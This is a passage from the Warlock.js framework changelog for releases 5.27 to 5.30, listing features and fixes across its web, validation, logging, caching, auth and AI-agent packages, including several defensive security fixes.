"machine-thumb",'single-quoted') is written to.warlock/typings/config.d.tswithout its quotes, so the generated file stays valid TypeScript; computed keys are skipped, and a quoted storage driver name is no longer quoted twice. The typings manifest now records its generator version, and a manifest written by an older version is discarded, so aconfig.d.tsbroken by 5.29 is regenerated on the first boot after upgrading instead of only when a config file changes. - FixedThe circular-dependency check no longer reports a file as importing itself because a comment mentions
import("./same-file"): the regex fallback ignores comments and self imports are not dependency edges. Comments are found with the TypeScript parser, so a regex literal such as/\/*$/or//inside JSX text is never mistaken for one and the imports after it are kept. A pureexport type { X } fromre-export adds no dependency edge on either parsing path. - Fixed
warlock add web'ssrc/web/root.tsxstub notes that<Head />renders the viewport tag (metadata.viewportchanges or disables it) and does not hand-write a second one. - FixedMail logs no longer print recipient addresses: send, development, test-mode, partial-rejection and error lines show
m***@example.com.MailResultand a thrownMailErrorstill carry the real addresses. - Fixed
http.rateLimithad no way to share counts between processes except an ioredis client, which the node-redis connection of@warlock.js/cachecannot provide. - FixedRequest log snapshots mask credential query parameters (
code,signature,sig,X-Amz-*,X-Goog-*, the logger's secret keys andhttp.logging.redactQueryParams) in the parsedquerytoo, not only inurl; OAuth authorization codes no longer reach log lines. NewredactQueryCredentials(). - Fixed
warlock.config.tsfallback: a catch-all tsconfigpathspattern ("*": ["./types/*"]) no longer inlines packages into the config bundle; an alias is inlined only when it resolves outsidenode_modules. - Fixed
warlock.config.tsfallback:import.meta.url/dirname/filenameare replaced only where they are real expressions, so the same words inside a string or comment no longer break or alter the bundled config. - Fixed
warlock.config.tsfallback runs only for the config's own unresolved relative or aliased imports (not for a package that is not installed, or a module missing insidenode_modules), and also when native type stripping refuses the TypeScript (ERR_UNSUPPORTED_TYPESCRIPT_SYNTAX,ERR_UNSUPPORTED_NODE_MODULES_TYPE_STRIPPING). A loading error in the bundled config nameswarlock.config.tsinstead of the temporary module. - Fixed
warlock add imageon pnpm 9 and 10.0–10.4 no longer creates a settings-onlypnpm-workspace.yaml(packages field missing or empty): the sharp approval goes where the installed pnpm reads it (package.jsonpnpm.onlyBuiltDependenciesbefore 10.5, the workspace'sonlyBuiltDependencieson 10.5–10.25,allowBuildsfrom 10.26). Inside a parent pnpm workspace no per-app file is written.
- Added
<Form query={{ … }}>sets the query string of the URL the form posts to (the current page, orto's page), without touching the body or the namedaction. - Added
<Form independent>submits alongside a pending submission instead of sharing it: a Cancel next to a long-running Start. Neither aborts the other; a double submit of the same form with the same fields still shares one request, another form posting the same action (a Cancel per row) never does, and unmounting a form cancels only its own submission. Its result, redirect included, is dropped once the user has moved to another page. - Added
LinkPropsWithout<K>andDistributiveOmit<T, K>: omit props fromLinkPropswithout collapsing its destination union, so a wrapper keeps the required-params check. - Added
isRouteName(name)narrows a data-driven string to a route name after checking the published route table, so it reaches<Link to>orhref()without a cast. - Added
metadata.viewport(string | false).<Head />now emits<meta name="viewport" content="width=device-width, initial-scale=1">by default, so a new app lays out at device width on phones; ametaentry namedviewportis still honoured. Like the charset it is document-level: client navigation never rewrites it, nor a viewport tagroot.tsxwrites itself. - Added
webConnector({ build: { testOnly } }): app-root-relative folders or files the production build's page-graph scan skips. - ChangedA page action that redirects now ends its submission once the redirected page is on screen:
useIsSubmitting()staystrueandonSuccesswaits until the destination's fresh loader data has committed, so a revision-guarded form cannot resubmit stale data. - Changed
useIsSubmitting()istruewhile any submission is in flight, including independent ones. - ChangedA production start no longer loads Vite, Rollup or
@babel/parser: the web connector imports its Vite dev-server config, page-registry plugin, dev route installer, dev 404 reporter and the sitemap's page-walk fallback only on the development path, so its static graph shrinks from 185 to 67 modules. - Fixed
<Form>honours the submit button'sformActionand itsname/value. The enhanced path posted to the form's URL; with no navigation runtime the fallback calledform.submit(), which dropped both. Without a runtime the browser now submits natively, and a late fallback re-submits through the same button. - FixedA page request the client abandoned before its loaders finished no longer renders: it stops with
ClientDisconnectedErrorbefore anything is committed, and the page handler neither reports it nor writes a response. It used to render layouts without their loader data and log a 500. A loader timeout on a connected request still renders its 504. - FixedA 4xx error page (a thrown
ForbiddenError/BadRequestError, a failed page validation) now hydrates. The client payload gate accepted only 500–599 and onlyname/message/stack, so it refused the 4xx status, the validationerrorsand the productionerrorCodethe server sends, and logged "hydration payload … could not be read". - FixedThe production build's
import.meta.url/ static-asset scan skips*.spec.*and*.test.*files and__tests__/__mocks__folders; a test helper undersrc/webno longer failswarlock build. - FixedWeb's React contexts (locale, document, session) live in one
Symbol.forregistry onglobalThis, so a second evaluation of their module underwarlock devreuses them instead of makinguseLocale()throw "called outside Warlock's LocaleProvider" until restart. - FixedA request abandoned between the layout and page loaders no longer renders the page with
dataundefined; covered by the abandoned-request fix above, with a regression test for this case. - FixedAn abandoned page request still reports a genuine failure (a loader or session-resolver bug) that happened before the disconnect; only failures the abort itself caused stay silent.
- FixedAn independent submission no longer draws the page the user left over the page a navigation already in flight committed, and a page swap no longer leaves another operation's pending commit unresolved, which could keep
useIsNavigating()true and hang a redirect's wait. - FixedThe build's test-folder skip reads folder names below the web root, so an app located under a
__tests__folder is still scanned. - SecurityA redirect target is followed or emitted only when it is relative or
http:/https:.response.redirect()in a loader or action throws forjavascript:,data:and other schemes (and for control characters), soredirect(request.input("next"))can no longer send script to the browser; the client refuses such anx-warlock-redirectheader and never hands one towindow.location.assign(). - Security
<Form>enhances only same-originhttp(s)targets. A submit button whoseformactionnames another origin is posted natively instead of being fetched, so the page never trusts another origin's redirect header or page payload.
- Added
TypedValidationResult<T>andValidatedOutput<T>types. - Added
pnpm bench:typesmeasures inference compile cost on a generated composed-schema project (16 entities, 8 services) and fails when instantiations or types grow more than 5% overbench/types-baseline.json. It also fails when it cannot read a metric or is given a malformed option, warns when the TypeScript version differs from the baseline's (--strictmakes that a failure), and removes its temporary project on Ctrl+C. - Changed
validate()takesdata: unknowninstead ofany. - Changed
Infer.Input/Infer.Outputof an object is one flat object type instead of an intersection of its optional and required halves; the shape is unchanged and compile cost moves by 0.1%. - Changed
pnpm typechecknow also checks theexpectTypeOfassertions intests/unit/types/(tsconfig.typecheck.json); they were never enforced before. - Changed
.refine()callbacks stayvalue: anyon purpose: custom rules run before an object or array validates its children, so the value is not the schema output. - ChangedBehaviour change:
v.union([...])now checks a present empty value ("") against its members instead of accepting it unchecked; a missing key is still the required/.optional()question.v.union([v.literal("x"), v.int()]).present()now rejects"". - Changed
validate()keeps the typed output ofv.record(...)(Record<string, …>); only an index signature overany/unknown(the wideSchema) staysany. - Fixed
v.literal("")accepts a present""again (regressed in 5.25): its default (implicit) required state and.present()keep it,.optional()and.nullable()no longer drop it. An explicit.required()orrequiredIf(...)still rejects"". A literal set without a blank value still reads""as missing. - FixedA field with an empty default (
v.string().max(n).default("")) no longer fails "is required" when the input omits it, sendsnull, or sends a blank string (an untouched HTML input); the output is the default. - FixedA
nulldefault no longer satisfies "required" on a field that is not.nullable(), and an empty default of the wrong type (v.int().default("")) now fails the type rule instead of being returned unchecked. - Fixed
v.discriminatedUnion(...).optional()accepts an absent,undefinedornullfield, as every other validator does;.default(...)replacesnulltoo and is validated through its branch. A required union reports a missing ornullfield with therequirederror;.nullable()keepsnull. - Fixed
schema["~standard"].validate(...)on a discriminated union resolves to the branch output union instead ofunknown.
- Added
log.onChannelError(handler)/configure({ onChannelError })and theChannelErrorHandlertype: receives a channel's sync throw or async rejection fromlog(), a redaction that threw, or a timed-outflush(). Default: one stderr line. The handler may be async; a rejection is swallowed. - Added
maskEmail(address)andmaskEmailsInText(text): mask email addresses (m***@example.com) inside message strings and cache keys, which key-based redaction cannot reach. Core's mail logs and the cache drivers' key logs use them. - ChangedLogging is fire-and-forget: level methods no longer return a promise, so
@typescript-eslint/no-floating-promisesno longer flags every call site. - Changed
log.flush()drains every channel concurrently: each waits for its own in-flight async deliveries (including entries logged while the flush runs), then runs itsflush(), so a hung network channel no longer holds up the file channel. - Changed
log.flush({ timeout })is bounded: it resolves aftertimeoutms (default 5000,DEFAULT_FLUSH_TIMEOUT_MS;Infinitywaits without a limit) and reports each channel still draining to the channel error handler. Before, one delivery that never settled madeflush()(and a graceful shutdown awaiting it) wait forever. - Changed
maskEmailsInTextcuts text longer thanMASK_EMAILS_MAX_LENGTH(16,384 characters) and marks the cut, so masking a huge cache key or message has a bounded cost. - FixedA channel whose
log()rejected became an unhandled rejection (looping throughcaptureAnyUnhandledRejection), and one that threw synchronously stopped delivery to the channels after it; both are now isolated and reported to the channel error handler. - FixedA redaction that threw (a
censorfunction that fails on an unexpected value) threw at the call site and skipped the remaining channels. A channel's own redaction failure is now isolated like any channel failure; a logger-wide one drops the entry (it is never delivered unredacted) and is reported to the channel error handler. - FixedAn async
onChannelErrorhandler that rejected became an unhandled rejection. - FixedSecurity:
maskEmailsInTextbacktracked quadratically on long runs of address-like characters with no domain (about 11 s on 75 KB), and it runs on cache keys built from request input. Its pattern is now bounded and linear. It also masks addresses with letters from any script (jöhn@exämple.de), andmaskEmailno longer keeps half of a surrogate pair.
- AddedProvider content blocks:
ProviderContentBlock({ provider, type, data }) onModelResponse.blocks, the streamingdonechunk,Message.blocks,CapturedMessage.blocks,LLMTrip.blocksandAgentResult.blocks. The agent copies a response's blocks onto the assistant turn so the adapter can replay it verbatim (thinking, compaction). - Added
FinishReasonvaluescontext_exceeded,pause_turnandrefusal. The agent resumes apause_turnby replaying the paused turn, withinmaxTrips. - Added
toolDispatch: "concurrent" | "sequential"onAgentConfigandAgentExecuteOptions(ToolDispatchMode), concurrent by default. - Added
maxConcurrentToolsonAgentConfigandAgentExecuteOptions(default4): the cap on a trip's tool calls running at once, so a model (or a prompt injected into its context) cannot start an unbounded number of tool calls in one turn. - Added
mapWithConcurrency(items, limit, mapper)utility: an order-preservingPromise.allwith a concurrency cap. - Added
ModelCallOptions.providerOptions(adapter-only options keyed by wire format) andcacheControl.ttl("5m" | "1h"). - Added
MockModelResponse.blocksfor scripting provider blocks in tests. - FixedThe semantic cache no longer stores a paused (
pause_turn) turn as a final answer, and stores a resumed turn whole (every segment), not only its last segment. - FixedVCR request hashes include
providerOptions, so two calls that differ only in provider options (betas,context_management, …) no longer replay the same recording. It joins the hash only when a provider entry carries a value —{},{ anthropic: {} }and{ anthropic: { betas: undefined } }hash like noproviderOptions— so existing cassettes recorded without it still match.cacheControl(breakpoints,ttl) stays out of the hash: it changes billing, not output.
- AddedResponses with thinking, redacted-thinking, compaction, server-tool or cited-text blocks return the whole ordered turn as
ModelResponse.blocks(and on the streamingdonechunk); an assistant message carrying Anthropicblocksis replayed verbatim. - Added
providerOptions.anthropic(AnthropicCallOptions):betasroutes the call throughclient.beta.messages,bodymerges extra request fields last (context_management,fallbacks,inference_geo, …),thinkingDisplaysetsthinking.display. - Added
AnthropicModel.countTokens(messages, options?)counts input tokens throughmessages.countTokens;AnthropicModelis exported andAnthropicSDK.model()returns it. - AddedPer-call
cacheControl.ttloverrides the model'spromptCacheTtl. - ChangedConsecutive tool results are sent as one
usermessage with severaltool_resultblocks, as Anthropic expects for parallel tool use. - ChangedClaude 5-family thinking rules: Opus 5.5, Sonnet 5.5 and Fable 5 / 5.1 never receive
budget_tokensordisabled. - Changed
effort: "none"on Claude Sonnet 5.5 sendsthinking: { type: "between_tools" }(its only thinking-off form, sent alone with nooutput_config.effortordisplay); it used to omitthinking, so the model still thought at its default effort. Opus 5.5 and Fable 5 / 5.1 have no thinking-off form and keep omittingthinking. - Fixed
providerOptions.anthropic.thinkingDisplayis applied only to adaptive thinking, so it is never sent besidebetween_tools(a 400). - FixedSecurity: a stored block is replayed only when its
data.typeequals its declaredtypeand the type is one Claude returns on an assistant turn (text, thinking, redacted thinking, tool use, server-tool use and results, MCP, container upload, compaction). A transcript from outside the process can no longer smuggle atool_useor user-side block past the tool-id check; such turns are rebuilt fromcontent+toolCalls.
- Added
exec()takes a per-callsignal(ExecOptions);run_shellandrun_testspass the agent run'sctx.signal. An already-aborted signal never starts the command; an abort mid-run kills the process tree. Both resolve with the newcancelled: trueonRunShellResult, never together withtimedOut. - Added
WorkspaceBackendExecOptions.signalandWorkspaceBackendExecResult.cancelled?for custom backends; the local backend removes its abort listener when the command settles, and the mock backend honours a pre-aborted signal. - AddedRead results carry
startLine,endLine,truncated,bytesCappedandtotalBytes;readFile()and theread_filetool now return the sameReadFileResultfor the same arguments. - Fixed
read.maxBytesis enforced: the returnedcontent(line-number prefixes and newlines included) never exceeds it, so a single long line no longer bypasses the cap. Lines are cut on a character boundary, never mid-character;hashremains the SHA-256 of the whole file. - FixedCommand output clipped at
shell.maxOutputBytesis cut on a character boundary instead of ending in a replacement character. - FixedA read window past the end of the file returns empty
contentinstead of one numbered empty line. - FixedWrites, edits and removes of the same path are serialized, so two concurrent
edit_filecalls (the agent now dispatches a trip's tool calls concurrently) can no longer both pass the stale-hash guard and silently drop one edit; the second re-reads and is rejected as stale, or applies on top when it pinned no hash. - FixedAborting a command after it has already exited (while its stdio is still draining) no longer reports it as
cancelled; the tree is still reaped so the result settles. - FixedOn Windows, a
taskkillthat cannot be started no longer crashes the process with an unhandled'error'event; the direct child is killed instead.
- ChangedEmail addresses inside logged cache keys are masked (
user.member@example.comlogs asu***@example.com), in the base driver's operation log, in error lines (written even with logging off: SWR refresh failures, lock release, clone failures), in the "Cannot increment non-numeric value" error, and in the null driver. - Fixed
redisdriverincrement()works on Redis 6. With a defaultttlconfigured it ranEXPIRE … NX, which only Redis 7+ accepts: on Redis 6 the call threw after the count had already gone up, which silently disabled login throttles and the cache-backed rate limiter. The increment and the default TTL are now applied together by one Lua script, and a TTL the counter already has is never shortened. - FixedThe default
increment()(file and null drivers) reads a counter's value and deadline in one read. A counter that expired between two separate reads used to be rewritten from its stale value with no expiry at all, and every increment rounded the remaining TTL up, pushing the deadline up to a second later each time. - Fixed
filedriver: an entry stored without a TTL (itsexpiresAtis written to JSON asnull) was read back by the internal entry reader as already expired, soswr()freshness checks and TTL-preserving writes treated it as missing.
- ChangedSelecting notifications scaffolds the smaller, convention-following
src/app/notificationsmodule thatwarlock add notificationsnow writes (see@warlock.js/core). - FixedNew apps get the viewport tag from
<Head />(@warlock.js/web5.30.0), so phones lay pages out at device width and responsive CSS applies; the scaffoldedsrc/web/root.tsxsays so and does not hand-write a second one. - Fixedpnpm before 10.5 could not install a new app (
ERROR packages field missing or empty): pnpm 7–9 and 10.0–10.4 reject the settings-onlypnpm-workspace.yaml. The scaffold now readspnpm --versionand writes approvals where that version reads them: no workspace file andpnpm.onlyBuiltDependenciesinpackage.jsonbefore 10.5; the workspace file plusonlyBuiltDependencieson 10.5–10.25 (which ignoreallowBuilds); the unchangedallowBuildsfile on 10.26+, 11 and 12. It does not addpackages: ["."], which fails every laterpnpm addon those versions (ERR_PNPM_ADDING_TO_ROOT). Feature approvals (sharp) follow the same rule; apps inside an existing workspace still get neither. - FixedThe feature multiselect no longer prints stacked copies of itself in a short or narrow terminal: the 22-option list pages to the terminal's height, and each row's hint is shortened to fit one line (a wrapped row made clack redraw below the previous frame). The AI and agent-target multiselects use the same sizing.
@clack/promptsis now^0.8.2, the first version whose multiselect pages.
- ChangedThe login throttle keys accounts and IPs by a keyed hash (
auth.throttle.count.email.<hmac>,auth.throttle.count.ip.<hmac>) instead of the raw address or IP, so cache logs never show them. The HMAC key is derived fromauth.accessToken.secret(as the OTP code MAC is), so a list of known addresses cannot reverse it; without a configured secret it falls back to SHA-256. The value is trimmed and lower-cased first, so" Sara@x.io"and"sara@x.io"share one bucket. Applies tologinThrottleMiddlewareand every preset built on it (token issue/consume, OTP); a customidentifyis used as is.throttleIdentifierHash(kind, value)is exported. - ChangedA throttle lock stores its own deadline, so a cache driver with sliding expiration (
memoryExtended) can no longer keep a retrying client locked pastlockoutDuration. Locks written by 5.29 (true) are still honoured until they expire. - ChangedThe throttle warns once when the cache driver is
null, which stores nothing, so the throttle can never lock.
- Added
moveDirectoryNoReplaceAsync(from, to, { expectedSource?, syncParents? })(alsofs.dirs.moveNoReplace): moves a directory only when nothing holds the destination, refusing atomically instead of replacing an empty directory the wayrename()does. It claims the name with an exclusivemkdir, renames over that placeholder, verifies the moved(dev, ino)and never falls back to copy + delete. - Added
DirectoryMoveErrorwithoutcome(not-moved: this call moved and replaced nothing /moved/uncertain),reason, andplaceholderCleanupErrorwhen the empty placeholder it claimed could not be removed;directoryIdentityAsync()and theDirectoryIdentitytype. When the source vanishes just before the rename the claim is released and the error isnot-moved/source-identity-mismatch. The destination parent may be a symlink to a directory (macOS/tmp, a deploycurrentlink). POSIX only: refuses explicitly on Windows and across filesystems.
- ChangedDocs and skills point at the model path
warlock add notificationswrites since 5.30.0:app/notifications/models/notification/notification.model.
5.29.0October 1, 2026
Fixes for applications upgrading from 5.27, typed nullable and list resources, and one module graph in dev. locales.json files under $sites/<site>/… (and other $ folders) work again: the folder only names the group when $group is missing (a 5.27 regression). In warlock dev, the dev server has its own Vite cache so a vitest run no longer breaks it, multi-site roots get their site's translations, the original error of a broken page is logged first instead of a follow-on useLocale() error, and src/app modules imported by pages share the instance the API side uses. New in @warlock.js/core: nullable(Resource) for resources that may be null (resources, responseSchema, OpenAPI, route types) and [Resource] list fields in defineResource; cast strings inside arrayOf item schemas are no longer dropped. useTrans() returns string instead of any. Every package's skills now refer to other topics by name, so the links work after they are copied into an app.
Full release notes or run npx warlock release-notes.
- Fixed
warlock devuses its own Vite cache (node_modules/.vite/warlock-dev), so a vitest run that re-optimizes dependencies no longer wipes the dev server's cache and 500s every SSR page until a restart. - FixedThe original error is no longer hidden behind a follow-on one. When a client navigation cannot build the page tree (e.g. a server-only barrel imported from browser code), the original error is kept across the forced reload and logged first as the ROOT CAUSE; later errors in that document, such as "useLocale() was called outside Warlock's LocaleProvider", are marked as probable consequences. On the server, a page module that fails to load logs its original error at install time, and an error page that itself fails is reported as a consequence naming the root cause.
onClientErrorreceives the new"navigation"kind. - Fixed
useTrans()returns a typed translator: it returnsstring, notany, and keys are still checked againstTranslationKeyRegistry.Translateis one plain signature, so a lambda passed where aTranslateis expected (label((key) => t(key))) keeps its parameter type. New type exports:TranslateFor,TranslationConverter,InlineTranslation. - FixedMulti-site apps in
warlock dev: a site'sroot.tsxand itslocales.jsonare keyed by the same site folder (as in production), so the rootLocaleProvidergets the site dictionary instead of{}, including when the client rebuilds after an SSR failure. - Fixed
locales.jsonfiles under$-prefixed folders (src/web/$sites/<site>/..., guard folders) no longer failwarlock generate.typings, dev or build with "segments must match …" (5.27 regression). The folder-derived namespace is computed only when the file declares no$group, and skips$folders and the site name after$sites. - Fixed
warlock dev: ansrc/appmodule imported by a page, layout or root is the same instance the API side uses (one module graph), so module state such as anAsyncLocalStorageset in middleware, caches and registries is shared between controllers and page loaders. Pages reach those modules through a trampoline to the native module core already loaded. Modules that (transitively) import@warlock.js/web, live insrc/web, are client-bound, or need Vite (import.meta.env/glob/hot, CSS or asset imports) keep loading through Vite as before. Dev only; production builds are unchanged.
- Added
nullable(Resource): a resource that may benull, accepted as adefineResourcefield and inresponseSchemabodies. A field outputsnull(not omitted) for null/undefined input;ResourceOutput/ResponseBodyOutputtype it asOutput | null; OpenAPI documents it asoneOf [resource, null]; route types emit… | null. - Added
[Resource]list fields indefineResource: each item is mapped through the resource,[]stays[], and the output type is an array (the same syntaxresponseSchemaalready accepts). PlainResourcefields behave as before. - FixedCast strings inside an
arrayOf({...})item schema ("number","string?","date","string[]") were silently dropped from the resource output; they are now cast like top-level fields, matching the output type. - Fixed
parseLocaleDictionary()acceptsdefaultNamespaceas a function, called only when the file declares no$group, so a folder that cannot name a namespace never fails a file with an explicit$group. - Fixed
warlock devpublishes eachsrc/appfile it reloads ({ url, generation }, after the loader hook confirms the bump) through thedevelopment.appModulescontainer key, so@warlock.js/webcan load the same module instance in page loaders.
- ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
- ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after
agent-kitcopies them into an app.
5.28.0October 1, 2026
Postman collections, Swagger UI, and fixes from production use. warlock generate.postman writes a Postman Collection v2.1.0 from the same OpenAPI document as generate.openapi (tag folders, example bodies, saved responses, {{baseUrl}}/{{token}}, bearer auth on guarded routes), and @warlock.js/devtools adds Swagger UI beside Scalar at /__warlock/docs/swagger with OpenAPI and Postman downloads. The web skills were audited against the code and expanded (page metadata, cookies, images, testing pages, hydration debugging), and every package's llms.txt now lists each skill with its description. Fixed: replacing or unsetting a nested object in Cascade no longer leaves empty parent objects; expected 4xx errors log one warn line instead of an error-level stack; v.object() output follows the declared key order; the per-site sitemap is served as application/xml; an empty nested-resource list outputs []. Behaviour changes: set("field", obj) writes the nested object as one value; 4xx errors log at warn.
Full release notes or run npx warlock release-notes.
- Added
warlock generate.postmanwrites a Postman Collection v2.1.0 (storage/postman/collection.json, or--out) derived from the same OpenAPI document asgenerate.openapi(options:--title,--server,--include-pages), so the two can never disagree. Each tag is a folder, each operation a request with an example body generated from its schema (JSON as raw, multipart as form-data), saved responses for every declared status,{{baseUrl}}and{{token}}collection variables, collection-level bearer auth forauthMiddleware()routes andnoauthon public ones.openApiToPostmanCollection(document, options?)is exported (pure, deterministic_postman_id), andgetDevelopmentPostmanCollection()returns the collection for the running dev process. - FixedExpected client errors no longer fill logs with stack traces: a thrown error that resolves to a 4xx (an
HttpErrorsuch asConflictErrororResourceNotFoundError, or aDatabaseWriterValidationErrorconfigured below 500 viahttp.modelValidationErrorStatus) is logged once atwarnasName: message (status), without the stack. 5xx and unknown errors are logged aterrorwith the stack, as before. - FixedA nested-resource field whose input is an empty list now outputs
[]; it used to drop the key.null/undefinedstill omit it.
- AddedSwagger UI.
/__warlock/docs/swaggerrenders the same OpenAPI document with Swagger UI (Apache-2.0), and the dashboard's API tab has a Scalar | Swagger UI switch (Scalar stays the default; the choice is remembered in the browser). The prebuiltswagger-ui-dist5.33.0 bundle and stylesheet are vendored inui/vendor/swagger-ui/with their license and notice and served asassets/swagger-ui-bundle.jsandassets/swagger-ui.css, so apps install no extra dependencies. The schema validator badge is off, so the page makes no outside request. - AddedDownloads in the API tab.
OpenAPI JSON(/__warlock/api/openapi.json) andPostman collectionlinks. - Added
GET /__warlock/api/postman.jsonreturns the Postman collection for the registered routes, built by core'sgetDevelopmentPostmanCollection(). It answers 503 when the host's core cannot build one, with the same dev-only, loopback-only guard.
- FixedReplacing a nested object on MongoDB (
model.set("nested", obj).save()) now writes the whole new object with one$set, instead of diffing per leaf. Removing keys no longer leaves their parents behind as empty{}objects in the stored document. Dotted-path sets (set("nested.a", v)) andmerge()stay partial per-leaf updates, so concurrent writes to other keys still survive. SQL drivers already replace the whole JSON column and are unchanged. - Fixed
unset("nested.x")now removes the parents it empties (unset("a.b.c")on{ a: { b: { c: 1 } } }stores noa), and the update$unsets that parent rather than leaving{}. A parent is pruned only when that unset emptied it: an object stored or set as{}is left alone, and arrays are never pruned.unset("nested")removes the whole object.
- FixedMulti-site apps: the per-site sitemap is served as
application/xml; it wastext/plain(the handler set the XML header, thenresponse.text()overwrote it).
- FixedNew apps: a failed AI-skills sync during install now prints a warning with the fix (the
skills:syncscript) instead of a silentskills-sync-skipped. - FixedNew apps:
AGENTS.mddescribes the app as full-stack (APIs plussrc/web/**pages) and points agents to thewarlock-js-webskill.
- Changed
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Changed
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
- Fixed
v.object()now emits its validated output (and reports child errors) in declared schema order instead of the order async field validators happened to finish, so output key order is deterministic; unknown keys kept byallowUnknown()follow the declared keys in input order.
- Changed
llms.txtnow lists every skill topic with its description (frontmatter in CRLF files was skipped).
5.27.0October 1, 2026
Typed API responses, typed page data, OpenAPI, and reasoning with tools on GPT-6. Controllers declare responseSchema and the generated route types carry it: ApiResponse<"auth.login"> and useSubmitForm({ route }) know the response body, and undeclared routes stay unknown. defineResource() infers its output type, Serialized<T> describes what the client receives, and page loader data is typed as what actually reaches the page (models map to their resource automatically). Pages guarded by requireUser() get a non-null user in their loader and in useUser("route.name"). warlock generate.openapi writes an OpenAPI 3.1 file for Postman and Insomnia, and warlock dev adds interactive API docs at /__warlock/docs. @warlock.js/ai-openai adds the opt-in Responses API (api: "responses") so reasoning models can use tools with reasoning on, including streaming and reasoning carried across tool turns. Fixed: a promise nested in page loader data is now serialized after it settles (a model inside one made devalue throw). Behaviour changes: page data types are the serialized shape; @mongez/supportive-is 3.0 checkers are type predicates.
Full release notes or run npx warlock release-notes.
- AddedTyped resource output.
defineResource()infers thetoJSON()output type from the schema's cast strings ("string?"isstring | null,"date"is the default{ iso; format; timestamp; humanTime }object, nested and"self"resources resolve to their own output). Read it withResourceOutput<typeof UserResource>. Whentransform/boot/builders change the shape, state it:defineResource<ProductJson>({ ... }). Builder fields areunknown. - Added
Serialized<T, W>: the type of what the client receives after Warlock serializesT, for API responses ("json", default) and page loader data ("devalue"). Dates become strings on JSON,toJSON()results are used, functions are dropped, and models map to their resource through the augmentableModelResourceRegistry. - AddedTyped API responses from
handler.responseSchema. A response schema body now accepts cast strings with the resource suffixes ("number?","string[]","date[]?"), a resource,[resource]for an array, and nested plain objects.ResponseBodyOutput<B>andResponseSchemaOutput<S>give the body type per status code with the same rules asResourceOutput.warlock generate.typingsandwarlock devread the declared schema at runtime and hand each route's response types to the web route-types generator, so nothing is annotated by hand. - Added
NamedApiRoutehas an optionalresponsemap (status code to a TypeScript type expression), present only on routes that declareresponseSchema;router.getNamedApiRoutes()accepts aresolveResponseoption to attach it and still returns the plain{ name, path, method }records otherwise. Resources are mapped back to their*.resource.ts(x)export by identity; a resource defined inline or outside such a file is typedunknownwith a warning naming the route and field. The typings child and the dev server share one serializer, so both emit identical strings. - Added
responseSchemais now kept when a route is bound from an array handler ([controller, "action"]) or a restful resource method; the bound function used to lose it. - Added
